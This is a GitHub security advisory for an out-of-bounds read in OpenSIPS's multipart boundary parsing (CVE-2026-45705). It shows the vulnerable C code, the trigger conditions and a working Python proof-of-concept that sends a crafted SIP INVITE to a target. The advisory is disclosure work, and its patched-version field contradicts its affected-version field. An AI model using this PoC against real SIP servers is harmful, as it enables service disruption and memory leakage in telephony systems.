Skip to content

OOB Read in Multipart Body Boundary Parsing

Moderate
razvancrainea published GHSA-chxf-9368-fqcp May 21, 2026

Package

opensips (C)

Affected versions

<=4.0

Patched versions

<=4.0

Description

Target: OpenSIPS is the most widely deployed open-source SIP server, handling VoIP call routing, presence, and messaging for telecom carriers, UCaaS providers, and enterprise PBX deployments. It processes millions of SIP transactions per day in production environments including carrier-grade networks, WebRTC gateways, and IMS cores. A vulnerability in its SIP message processing directly impacts telephony infrastructure availability.

Summary

The find_line_delimiter() function in the multipart body parser performs an out-of-bounds read via strncmp() when searching for MIME boundary delimiters. After finding a -- pattern near the end of the body, the function compares delimiter.len bytes starting from a position that can be at or past the logical end of the body buffer. This reads up to delimiter.len bytes (typically 20-70 bytes) past the body boundary.

Vulnerable Code

File: parser/parse_body.c, lines 119-148

static char *find_line_delimiter(char* p, char* plimit, str delimiter)
{
    static char delimiterhead[3] = "--";
    char *cp, *cp1;

    /* Iterate through body */
    cp = p;
    for (;;) {
        if (cp >= plimit)
            return NULL;
        for(;;) {
            cp1 = l_memmem(cp, delimiterhead, plimit-cp, 2);
            if (cp1 == NULL)
                return NULL;
            /* We matched '--',
             * now let's match the boundary delimiter */
            if (strncmp(cp1+2, delimiter.s, delimiter.len) == 0)  // BUG
                break;
            else
                cp = cp1 + 2 + delimiter.len;
            if (cp >= plimit)
                return NULL;
        }
        if (cp1[-1] == '\n' || cp1[-1] == '\r')
            return cp1;
        if (plimit - cp1 < 2 + delimiter.len)
            return NULL;
        cp = cp1 + 2 + delimiter.len;
    }
}

Data Flow

  1. Network Input: Attacker sends a SIP message with a Content-Type: multipart/mixed; boundary=XXXX header and a crafted body.

  2. Boundary Search: l_memmem(cp, delimiterhead, plimit-cp, 2) searches for -- within [cp, plimit-2]. When cp1 = plimit-2, then cp1+2 = plimit (one byte past the body).

  3. OOB Read: strncmp(cp1+2, delimiter.s, delimiter.len) reads delimiter.len bytes starting from plimit. Since plimit = body.s + body.len, this reads past the logical end of the SIP body into whatever follows in the receive buffer.

  4. Read Range: The boundary delimiter in MIME is typically 20-70 characters. The OOB read extends delimiter.len bytes past the body boundary.

Trigger Condition

The bug triggers when:

  • The SIP message has Content-Type: multipart/mixed with a boundary parameter
  • The message body contains -- near the end of the body, but NOT followed by the actual boundary delimiter
  • Specifically, -- must appear at position plimit-2 or plimit-3 (within 2-3 bytes of the body end)

Example crafted body (with boundary "myboundary"):

--myboundary\r\n
Content-Type: text/plain\r\n
\r\n
body content--

The trailing -- at the very end causes l_memmem to find it at plimit-2, and then strncmp reads 10 bytes ("myboundary") starting from plimit.

Impact

OOB read of up to delimiter.len bytes (typically 20-70) past the body boundary. The strncmp result determines boundary-matching behavior, creating a single-bit oracle (match/no-match) on post-body buffer contents. On TCP connections, the receive buffer may contain data from subsequent SIP messages, so the oracle operates on cross-message data. If the body ends near the end of the allocated buffer and delimiter.len is large, the read extends past the allocation boundary.

Attack Vector

  • Pre-auth: Triggers during SIP body parsing before any authentication check.
  • Network-accessible: SIP over UDP or TCP, port 5060 (default).
  • Config-dependent: The multipart parser is invoked when any routing logic accesses the SIP body. This includes has_body(), sip_to_json(), SDP processing (rtpengine, nathelper), $rb pseudo-variable access, and get_body_part(). Any VoIP deployment processing INVITE bodies for media handling triggers this path.
  • Single packet: One SIP message with a crafted multipart body is sufficient.

PoC

Send a SIP INVITE with Content-Type: multipart/mixed;boundary=<60-char-boundary> and a body where -- appears at the very end without being followed by the boundary string. The strncmp() reads boundary.len bytes past the body end.

Note: ASan cannot detect this OOB read because it stays within the 65,536-byte SIP receive buffer allocation. The read extends past the logical body boundary but not past the underlying memory allocation.

See poc-multipart-oob-read.py.

import socket
import sys

TARGET = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 5060

# Use a long boundary to maximize OOB read distance
boundary = "A" * 60

# Build the multipart body:
# 1. Valid first boundary + part
# 2. Body content ending with '--' right at the body end
# The '--' at the end triggers the OOB strncmp
body = (
    f"--{boundary}\r\n"
    f"Content-Type: text/plain\r\n"
    f"\r\n"
    f"test body content\r\n"
    f"--{boundary}--\r\n"
    # Now add a fake part that ends with -- right at the limit
    # Actually, the simpler approach: craft body so '--' appears
    # at the very end without being followed by the boundary
    # This causes strncmp to read past the body
)

# Better approach: body that has '--' as the very last 2 bytes
# but NOT followed by the boundary (so strncmp reads OOB)
body2 = (
    f"--{boundary}\r\n"
    f"Content-Type: text/plain\r\n"
    f"\r\n"
    f"payload data here\r\n"
    f"--{boundary}\r\n"
    f"Content-Type: text/plain\r\n"
    f"\r\n"
    f"second part--"  # '--' at body end, NOT followed by boundary
)

invite = (
    f"INVITE sip:test@{TARGET} SIP/2.0\r\n"
    f"Via: SIP/2.0/UDP {TARGET}:{PORT};branch=z9hG4bK-poc-multipart-oob\r\n"
    f"From: <sip:attacker@{TARGET}>;tag=poc-multipart-001\r\n"
    f"To: <sip:test@{TARGET}>\r\n"
    f"Call-ID: poc-multipart-oob@{TARGET}\r\n"
    f"CSeq: 1 INVITE\r\n"
    f"Max-Forwards: 70\r\n"
    f"Content-Type: multipart/mixed;boundary={boundary}\r\n"
    f"Content-Length: {len(body2)}\r\n"
    f"\r\n"
    f"{body2}"
)

print(f"[*] OpenSIPS 3.6.4 - Multipart Boundary OOB Read PoC")
print(f"[*] Target: {TARGET}:{PORT} (UDP)")
print(f"[*] Boundary length: {len(boundary)} bytes")
print(f"[*] Body ends with '--' (not followed by boundary)")
print(f"[*] strncmp will read {len(boundary)} bytes past body end")
print()

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(3)

print(f"[*] Sending SIP INVITE with multipart body ({len(body2)} bytes)...")
sock.sendto(invite.encode(), (TARGET, PORT))

try:
    resp, addr = sock.recvfrom(4096)
    first_line = resp.decode(errors="replace").split("\r\n")[0]
    print(f"[+] Response: {first_line}")
except socket.timeout:
    print(f"[-] No response (timeout). Check ASan logs.")

sock.close()
print(f"[*] Done. Check OpenSIPS logs for ASan heap-buffer-overflow READ report.")

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

CVE ID

CVE-2026-45705

Weaknesses

Out-of-bounds Read

The product reads data past the end, or before the beginning, of the intended buffer. Learn more on MITRE.

Credits